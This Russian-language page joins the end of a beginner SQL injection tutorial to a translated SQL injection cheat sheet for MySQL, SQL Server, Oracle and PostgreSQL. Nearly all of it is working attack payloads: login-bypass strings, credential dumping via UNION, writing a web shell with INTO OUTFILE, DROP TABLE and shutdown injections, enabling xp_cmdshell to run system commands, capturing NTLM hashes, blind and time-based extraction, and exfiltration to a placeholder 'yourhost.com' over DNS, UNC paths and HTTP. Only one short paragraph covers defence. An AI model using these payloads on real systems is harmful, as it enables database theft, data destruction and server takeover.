Sqlinj/index1.php?id=1 GROUP BY 8
Оп, видим ошибку, значит кол-во полей меньше 8.

Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 - ошибка, Значит кол-во полей равно 5

Определение выводимых столбцов
Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.

Вывод данных

Допустим мы знаем, что еще существует таблица users в которой существуют поля id , name и pass .
Нам нужно достать Информацию о пользователе с ID=1

Следовательно построим такой запрос:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Скрипт также продолжает выводить

Для этого, мы подставим название полей, за место цифр 1 и 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Получили то - что требовалось!

Для «строкового входящего параметра», как в скрипте index2.php нужно добавлять кавычку в начале и знак комментария в конце. Пример:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Чтение/Запись файлов

Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.
Запись файлов
На самом деле всё очень просто. Для записи файла, мы будем использовать функцию OUTFILE .
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Чтение файлов
Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE , за место того поля, которое мы выбираем:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Таким образом, мы прочитали предыдущий записанный файл.

Способы защиты

Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
$id = (int) $_GET["id"];
Как подсказал пользователь malroc . Защищаться использованием PDO или prepared statements.

Вместо завершения

На этом хочу закончить свою первую часть про «SQL injection для начинающих». Во второй мы рассмотрим более тяжелые примеры инъекций. Пробуйте сами писать уязвимые скрипты и выполнять запросы.
И запомните, не доверяйте ни одному пользователю Вашего сайта.

Теги: Добавить метки

Шпаргалка по SQL-инъекциям создана для сводного описания технических особенностей различных типов уязвимостей SQL-injection. В статье представлены особенности проведения SQL-инъекций в MySQL , Microsoft SQL Server , ORACLE и PostgreSQL .

0. Введение
В данной статье вы можете найти подробную техническую информацию о различных видах SQL-инъекций. Она может быть полезна как опытным специалистам, так и новичкам в области ИБ.

В настоящий момент памятка содержит информацию только для MySQL, Microsoft SQL Server и некоторые данные для ORACLE и PostgreSQL. Разделы содержат синтаксис, пояснения и примеры инъекций.

Используемые обозначения:
M (MySQL);
S (SQL Server);
O (Oracle);
P (PostgreSQL);
+ (возможно на других БД);
* (требуются специальные условия).

1. Строчные комментарии
Комментарии, как правило, полезны для игнорирования части запроса.
Синтаксис:
-- (SM): DROP sampletable;--
# (M): DROP sampletable;#
Пример:
Username: admin" --
Сгенерированный запрос: SELECT * FROM members WHERE username = "admin"--" AND password = "password"
Это позволит зайти в систему как пользователь admin, игнорируя проверку пароля.

2. Блочные комментарии
С их помощью можно игнорировать часть запроса, заменять пробелы, обходить чёрные списки, определять версию БД.
Синтаксис:
/*Комментарий*/ (SM):
DROP/*комментарий*/sampletable
DR/**/OP/*обходим_чёрный_список*/sampletable
SELECT/*замена_пробела*/password/**/FROM/**/Members

/*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM tablename
Это специальный синтаксис комментариев для MySQL. Он позволяет обнаружить версию MySQL. Такой комментарий сработает только в MySQL
Примеры:
ID: 10; DROP TABLE members /*
Игнорируем оставшуюся часть запроса, также как строчным комментарием.

ID: /*!32302 10*/
вы получите такой же ответ, как и при ID=10, если MySQL версии выше 3.23.02

ID: /*!32302 1/0, */
Сгенерированный запрос: SELECT /*!32302 1/0, */ 1 FROM tablename
Возникнет ошибка деления на 0, если на сервере стоит MySQL версии выше 3.23.02

3. Последовательность запросов
Позволяет выполнить более одного запроса за раз. Это полезно в любой точке инъекции.


Зелёный - поддерживается; чёрный — не поддерживается; серый — неизвестно.
Синтаксис:
; (S): SELECT * FROM members; DROP members--
Один запрос закончился, следующий начался.
Пример:
ID: 10;DROP members --
Сгенерированный запрос: SELECT * FROM products WHERE id = 10; DROP members--
Этот запрос удалит таблицу members после обычного запроса.

4. Условные операторы
Получим ответ на запрос при выполнении условия. Это один из ключевых пунктов слепой инъекции. Также помогают точно проверить простые вещи.
Синтаксис:
IF(condition, true-part, false-part) (M): SELECT IF(1=1,"true","false")
IF condition true-part ELSE false-part (S): IF (1=1) SELECT "true" ELSE SELECT "false"
IF condition THEN true-part; ELSE false-part; END IF; END; (O): IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P): SELECT CASE WHEN (1=1) THEN "A" ELSE "B" END;
пример:
if ((select user) = "sa" OR (select user) = "dbo") select 1 else select 1/0 (S)
выдаст ошибку деления на ноль, если текущий пользователь не «sa» или «dbo».

5. Использование чисел
Используется для обхода magic_quotes() и подобных фильтров, в том числе и WAF.
Синтаксис:
0xHEX_ЧИСЛО (SM):
SELECT CHAR(0x66) (S)
SELECT 0x5045 (это не число, а строка) (M)
SELECT 0x50 + 0x45 (теперь это число) (M)
Примеры:
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Покажет содержание файла c:\boot.ini

6. Конкатенация строк
Операции над строками могут помочь обойти фильтры или определить базу данных.
Синтаксис:
+ (S): SELECT login + "-" + password FROM members
|| (*MO): SELECT login || "-" || password FROM members
Сработает, если MySQL запущен в режиме ANSI. В противном случае MySQL не примет его как логический оператор и вернёт 0. Лучше использовать функцию CONCAT() в MySQL.

CONCAT(str1, str2, str3, …) (M): SELECT CONCAT(login, password) FROM members

7. Строки без кавычек
Есть несколько способов не использовать кавычки в запросе, например с помощью CHAR() (MS) и CONCAT() (M).
Синтаксис:
SELECT 0x457578 (M)

В MySQL есть простой способ представления строки в виде hex-кода:
SELECT CONCAT("0x",HEX("c:\\boot.ini"))

Возвращает строку “KLM”:
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
SELECT CHR(75)||CHR(76)||CHR(77) (O)
SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Преобразование строк и чисел.
Синтаксис:
ASCII() (SMP): SELECT ASCII("a")
Возвращает ASCII- код самого левого символа. Функция используется для слепых инъекций.

CHAR() (SM): SELECT CHAR(64)
Переводит ASCII-код в соответствующий символ.

9. Оператор UNION
С оператором UNION можно делать запросы к пересечению таблиц. В основном, вы можете отправить запрос, возвращающий значение из другой таблицы.
Пример:
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
Это позволит объединить результаты из таблиц news и members

10. Обход проверки подлинности (SMO+)
Примеры:
admin" --
admin" #
admin"/*
" or 1=1--
" or 1=1#
" or 1=1/*
") or "1"="1--
") or ("1"="1--

11. Обход проверки подлинности с использованием MD5
Если приложение сначала сравнивает имя пользователя, а потом сравнивает md5-хеш пароля, то вам потребуются дополнительные приёмы для обхода проверки подлинности. Вы можете объединить результаты с известным паролем и его хешем.
Пример (MSP):
Username: admin
Password: 1234 " AND 1=0 UNION ALL SELECT "admin", "
= MD5(1234)

12. Error Based
12.1 Определение столбцов с помощью HAVING BY(S)
Пример:
В том же порядке
" HAVING 1=1 --
" GROUP BY table.columnfromerror1 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 HAVING 1=1 –
…………….
Продолжайте до тех пор, пока не прекратите получать ошибки.

12.2 Определение количества столбцов с помощью ORDER BY (MSO+)
Поиск количества столбцов с помощью ORDER BY можно ускорить, используя UNION-инъекции.
ORDER BY 1--
ORDER BY 2--
ORDER BY 3-
………………..
Продолжайте, пока не получите сообщение об ошибке. Это укажет на количество столбцов.

13. Определение типа данных
Всегда используйте UNION вместе с ALL.
Чтобы избавиться от ненужной записи в таблице, используйте -1 любые не существующие значения в начале запроса (если инъекция в параметре WHERE). Это важно если вы можете извлекать только одно значение за раз.
Используйте NULL в UNION-инъекциях вместо попыток угадать строку, дату, число и прочее. Но будьте аккуратны при слепой инъекции, т.к. вы можете спутать ошибку БД и самого приложения. Некоторые языки, например ASP.NET, выдают ошибку при использовании значения NULL (т.к. разработчики не ожидали увидеть нулевое значение в поле username)
Примеры:
" union select sum(columntofind) from users-- (S) :
Если вы не получаете сообщение об ошибке, значит столбец является числовым.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
Можно использовать CAST() или CONVERT()

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит синтаксис верный, т.е. используется MS SQL Server.

11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит первый столбец является числом.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –
Если появилась ошибка, значит второй стоблец не является числом.

11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
Если нет ошибки, значит второй столбец является строкой.
……………..

14. Простая вставка (MSO+)
Пример:
"; insert into users values(1, "hax0r", "coolpass", 9)/*

15. Сбор информации
Синтаксис:
@@version (MS)
Вы можете узнать версию БД и более подробную информацию.
Пример:
INSERT INTO members(id, user, pass) VALUES(1, ""+SUBSTRING(@@version,1,10) ,10)

16. Сложная вставка (S)
Позволяет вставить содержимое файла в таблицу. Если вы не знаете внутренний путь web-приложения, вы можете прочитать метабазу IIS (только IIS 6).
Синтаксис:
file(%systemroot%\system32\inetsrv\MetaBase.xml)
Затем вы можете в ней найти пути приложения.
Пример:
1. Создать таблицу foo(строка типа varchar(8000))
2. Вставить в таблицу foo содержимое файла ‘c:\inetpub\wwwroot\login.asp’
3. Удалите временную таблицу и повторите для другого файла.

17. BCP (S)
Записывает текстовый файл. Для этого требуются учётные данные.
Пример:
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH в SQL Server (S)
Вы можете использовать VBS, WSH скрипты в SQL Server.
Пример:
Username:"; declare @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "run", NULL, "notepad.exe" –

19. Выполнение системных команд (S)
Известный приём, по умолчанию функция отключена в SQL Server 2005. Вам необходимы права администратора.
Пример:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping "

20. Специальные таблицы в SQL Server (S)
Примеры:
Сообщения об ошибках: master..sysmessages
Связанные серверы: master..sysservers
Password SQL Server 2000: masters..sysxlogins
Password SQL Server 2005: sys.sql_logins

21. Несколько хранимых процедур для SQL Server (S)
Синтаксис:
Cmd Execute (xp_cmdshell)
Registry Stuff (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Managing Services (xp_servicecontrol)
Medias (xp_availablemedia)
ODBC Resources (xp_enumdsn)
Login mode (xp_loginconfig)
Creating Cab Files (xp_makecab)
Domain Enumeration (xp_ntsec_enumdomains)
Process Killing (требуется PID) (xp_terminate_process)
Add new procedure (sp_addextendedproc)
Write text file to a UNC or an internal path (sp_makewebtask)
Примеры:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities"
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
exec xp_webserver

22. MSSQL Bulk Notes
Примеры:
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell "dir *.exe";IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. SQL-инъекция в LIMIT (M) запросах
Пример:
SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10 ;
Чтобы обойти оператор LIMIT, вы можете использовать UNION или комментарий.

24. Выключение SQL Server (S)
Пример:
";shutdown –

25. Enabling xp_cmdshell in SQL Server 2005
Синтаксис:
По умолчанию xp_cmdshell и пара других потенциально опасных функций отключены вSQL Server 2005. Обладая правами администратора, вы можете их включить.
EXEC sp_configure "show advanced options",1
RECONFIGURE
EXEC sp_configure "xp_cmdshell",1
RECONFIGURE

26. Поиск структуры БД в SQL Server (S)
Примеры:
SELECT name FROM sysobjects WHERE xtype = "U"

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "tablenameforcolumnnames")
Получение названий столбцов

27. Перемещение записей (S)
Примеры:
... WHERE users NOT IN ("First User", "Second User")
Используйте WHERE вместе с NOT IN или NOT EXIST

SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)

SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id)
AS x, name from sysobjects o) as p where p.x=3) as int

Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype="U" and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Быстрый способ извлечь данные из Error Based SQL-инъекции в SQL Server (S)
";BEGIN DECLARE @rt varchar(8000) SET @rd=":" SELECT @rd=@rd+" "+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "MEMBERS") AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

29. Поиск структуры БД в MySQL (M)
Примеры:
SELECT table_name FROM information_schema.tables WHERE table_schema = "tablename"
Получение пользовательских таблиц

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = "tablename"
Получение названий столбцов

30. Поиск структуры БД в Oracle (O)
Примеры:
SELECT * FROM all_tables WHERE OWNER = "DATABASE_NAME"
Получение пользовательских таблиц

SELECT * FROM all_col_comments WHERE TABLE_NAME = "TABLE"
Получение названий столбцов

31. Слепые инъекции
В качественном приложении вы не сможете увидеть сообщения об ошибках. Вы не сможете использовать оператор UNION и Error Based атаки. Вам придётся использовать слепые SQL-инъекции для извлечения данных. Существует два типа слепых инъекций.
Обычная слепая инъекция: вы не можете видеть результаты запросов на странице, но можете определить результат из ответа или HTTP-статуса.
Полностью слепая инъекция: Вы не увидите никакой разницы в выходных данных.
В обычных слепых инъекциях вы можете использовать операторы IF и WHERE, в полностью слепых инъекциях вам нужно использовать некоторые функции ожидания и сравнивать время отклика. Для этого можно использовать WAIT FOR DELAY ‘0:0:10’ в SQL Server, BENCHMARK() и sleep(10) в MySQL, pg_sleep(10) в PostgreSQL.
Пример:
Этот пример основан на реальной эксплуатации слепой инъекции на SQL Server.

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>79--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

Исходя из двух последних запросов мы точно знаем значение первого символа в ascii – это 80. Значит, первый символ это `P`. Таким образом мы можем узнать названия таблиц и их содержимое. Другой способ – читать данные побитово.

32. Полностью слепая инъекция
Используйте данный метод только в случае действительно слепой инъекции. Будьте осторожны со временем ожидания.
Синтаксис:
WAIT FOR DELAY "time" (S)
Функция просто ждёт указанное время, не загружая процессор.
Примеры:
if (select user) = "sa" waitfor delay "0:0:10"
ProductID =1;waitfor delay "0:0:10"--
ProductID =1);waitfor delay "0:0:10"--
ProductID =1";waitfor delay "0:0:10"--
ProductID =1");waitfor delay "0:0:10"--
ProductID =1));waitfor delay "0:0:10"--
ProductID =1"));waitfor delay "0:0:10"--
Синтаксис:
BENCHMARK(howmanytimes, do this) (M)
Пример:
IF EXISTS (SELECT * FROM users WHERE username = "root") BENCHMARK(1000000000,MD5(1))
Проверяем наличие пользователя root.

IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
Проверяем наличие таблицы в MySQL
Синтаксис:
pg_sleep(seconds) (P)
Sleep for supplied seconds.

sleep(seconds) (M)
sleep for supplied seconds.

bms_pipe.receive_message (O)
sleep for supplied seconds.
Пример:
(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message(("xyz"),10) ELSE dbms_pipe.receive_message(("xyz"),1) END FROM dual)
{INJECTION} – ваш запрос.
Если условие истинно, отклик будет 10 секунд. В противном случае отклик будет 1 секунду.

33. Полезные функции MySQL
Синтаксис:
MD5()
SHA1()
PASSWORD()
ENCODE()
COMPRESS()
ROW_COUNT()
SCHEMA()
VERSION()

34. Second Order SQL Injections
Обычно, вы вставляете запрос для SQL-инъекции в поле и ожидаете, что он не отфильтруется.
Пример:
Name: " + (SELECT TOP 1 password FROM users) + "
Email: [email protected]
Если приложение использует имя поля хранимой процедуры или функции, то вы можете использовать это для инъекции.

35. Использование SQL Server для извлечения NTLM-хешей
Данная атака поможет получить через SQL Server пароль пользователя Windows целевого сервера, если нет доступа извне. Мы можем заставить SQL Server подключиться к Windows по UNC-пути и извлечь NTLM-сессию специальными инструментами, например Cain & Abel.

Синтаксис:
UNC-путь: "\\YOURIPADDRESS\C$\x.txt"
36. Другие примеры инъекций
SQL Server:
?vulnerableParam=1; SELECT * FROM OPENROWSET("SQLOLEDB", ({INJECTION})+".yourhost.com";"sa";"pwd", "SELECT 1")

?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = "\\"+({INJECTION})+".yourhost.com\\test.txt"; EXEC master..xp_dirtree @q
создаёт DNS-запрос к {INJECTION}.yourhost.com

{INJECTION} — ваш запрос.
MySQL:
?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat("\\\\",({INJECTION}), "yourhost.com\\")))
Создаёт NBNS/DNS-запрос к yourhost.com
?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE "\\\\yourhost.com\\share\\output.txt")
Записывает данные в ваш файл
{INJECTION} — ваш запрос.
Oracle:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ sniff.php?sniff="||({INJECTION})||"") FROM DUAL)
Сниффер будет сохранять результаты
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ "||({INJECTION})||".html") FROM DUAL)
Результаты будут сохранены HTTP-логи
?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||".yourhost.com") FROM DUAL)

?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM DUAL)
Вам нужно анализировать трафик DNS-запросов к yourhost.com
{INJECTION} — ваш запрос.

Этот материал является адаптивным переводом статьи SQL Injection Cheat Sheet .